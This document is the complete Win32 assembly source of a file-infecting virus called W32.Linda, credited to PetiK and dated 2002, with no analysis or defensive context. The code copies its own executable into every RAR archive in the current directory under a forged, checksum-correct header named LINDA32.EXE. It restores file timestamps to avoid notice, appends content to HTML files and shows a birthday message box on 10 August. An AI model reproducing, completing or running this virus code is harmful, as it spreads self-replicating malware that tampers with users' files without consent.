comment § Name : W32.Linda Data : February 13th 2002 Author : PetiK Language : Win32asm Size : 8192 (compressed with ASPack). Action : Infects rar files and ht* files in the current directory. § .386 locals jumps .model flat,STDCALL api macro x extrn x:proc call x endm WIN32_FIND_DATA struct dwFileAttributes dd 0 ftCreationTime dd ?,? ftLastAccessTime dd ?,? ftLastWriteTime dd ?,? nFileSizeHigh dd 0 nFileSizeLow dd 0 dwReserved0 dd 0,0 cFileName db 260 dup(0) cAlternateFileName db 14 dup(0) db 2 dup (0) WIN32_FIND_DATA ends .DATA CRLF equ <13,10> ffile WIN32_FIND_DATA sysTime db 16 dup(0) orig_virus db 50 dup (0) thFile dd ? Err dd 0 time0 dd 0,0 time1 dd 0,0 time2 dd 0,0 Size equ 8192 HeaderSize = EndRARHeader-RARHeader rarmask db "*.rar",0 htmmask db "*.ht*",0 hFile dd ? fHnd dd ? mHnd dd ? sizer dd 0 octets dd 0 RARHeader: RARHeaderCRC dw 0 RARType db 74h RARFlags dw 8000h RARHSize dw HeaderSize RARCompressed dd Size RAROriginal dd Size RAROs db 0 RARCrc32 dd 0 RARFileTime db 63h,78h RARFileDate db 31h,24h RARNeedVer db 14h RARMethod db 30h RARFNameSize dw EndRARHeader-RARName RARAttrib dd 0 RARName db "LINDA32.EXE" EndRARHeader label byte .CODE start_linda: mov eax,offset sysTime push eax api GetSystemTime lea eax,sysTime cmp word ptr [eax+2],8 ; August jne end_pay cmp word ptr [eax+6],10 ; 10th. Linda's Birthday jne end_pay push 40h call @tit db "W32RAR.Linda",0 @tit: call @mes db "This virus infects only RAR files.",0dh,0ah db "Happy Birthday - (c)2002",0 @mes: push 0 api MessageBoxA end_pay: push 50 mov esi,offset orig_virus push esi push 0 api GetModuleFileNameA push 4 push 1000h push 8192 push 0 api VirtualAlloc test eax,eax je end_srch_rar mov dword ptr [mHnd],eax push 0 push 80h push 3 push 0 push 1 push 80000000h push offset orig_virus api CreateFileA cmp eax,-1 je end_srch_rar mov dword ptr [fHnd],eax push 0 mov dword ptr [sizer],0 lea eax,sizer push eax push 8192 push dword ptr [mHnd] push dword ptr [fHnd] api ReadFile push dword ptr [mHnd] api CloseHandle rar_srch: push offset ffile push offset rarmask api FindFirstFileA dec eax jz end_srch_rar inc eax mov dword ptr [hFile],eax inf_rar: call times call infect cmp byte ptr [Err],1 je rar_nxt_srch call timer rar_nxt_srch: push offset ffile mov eax,dword ptr [hFile] push eax api FindNextFileA test eax,eax jnz inf_rar mov eax,dword ptr [hFile] push eax api FindClose end_srch_rar: htm_srch: push offset ffile push offset htmmask api FindFirstFileA dec eax jz end_srch_htm inc eax mov dword ptr [hFile],eax inf_htm: call infecthtm htm_nxt_srch: push offset ffile mov eax,dword ptr [hFile] push eax api FindNextFileA test eax,eax jnz inf_htm mov eax,dword ptr [hFile] push eax api FindClose end_srch_htm: end_linda: push 0 api ExitProcess times: push 0 push 80h push 3 push 0 push 1 push 80000000h push offset ffile.cFileName api CreateFileA cmp eax,-1 je tserr mov dword ptr [thFile],eax push offset time0 push offset time1 push offset time2 push dword ptr [thFile] api GetFileTime push dword ptr [thFile] api CloseHandle mov byte ptr [Err],0 ret tserr: mov byte ptr [Err],1 ret timer: push 0 push 80h push 3 push 0 push 1 push 40000000h push offset ffile.cFileName api CreateFileA cmp eax,-1 je trerr mov dword ptr [thFile],eax push offset time0 push offset time1 push offset time2 push dword ptr [thFile] api SetFileTime push dword ptr [thFile] api CloseHandle trerr: ret infecthtm: push offset ffile.cFileName api GetFileAttributesA cmp eax,1 or 20h je end_inf_htm push 0 push 80h push 3 push 0 push 1 push 40000000h push offset ffile.cFileName api CreateFileA cmp eax,-1 je end_inf_htm mov dword ptr [fHnd],eax push 2 push 0 push dword ptr [fHnd] api _llseek push 0 push offset octets push e_htm - s_htm call e_htm s_htm: db "",CRLF,CRLF db "",0dh,0ah e_htm: push dword ptr [fHnd] api WriteFile push dword ptr [fHnd] api CloseHandle push 1 or 20h push offset ffile.cFileName api SetFileAttributesA end_inf_htm: ret infect: xor eax,eax push eax push 80h push 3 push eax push eax push 40000000h lea eax,ffile.cFileName push eax api CreateFileA dec eax jz end_infect inc eax mov dword ptr [fHnd],eax push 2 push 0 push dword ptr [fHnd] api _llseek ; like SetFilePointer mov esi,dword ptr [mHnd] mov edi,Size call CRC32 mov dword ptr [RARCrc32],eax mov esi,offset RARHeader+2 mov edi,HeaderSize-2 call CRC32 mov word ptr [RARHeaderCRC],ax xor eax,eax push eax push offset octets push HeaderSize push offset RARHeader push dword ptr [fHnd] api WriteFile mov dword ptr [RARHeaderCRC],0 mov dword ptr [RARCrc32],0 mov dword ptr [RARCrc32+2],0 push 0 push offset octets push Size push dword ptr [mHnd] push dword ptr [fHnd] api WriteFile push dword ptr [fHnd] api CloseHandle end_infect: ret CRC32: cld push ebx mov ecx,-1 ;xor ecx,ecx & dec ecx mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0edb8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec di jnz NextByteCRC not edx not ecx pop ebx mov eax,edx rol eax,16 mov ax,cx ret ends end start_linda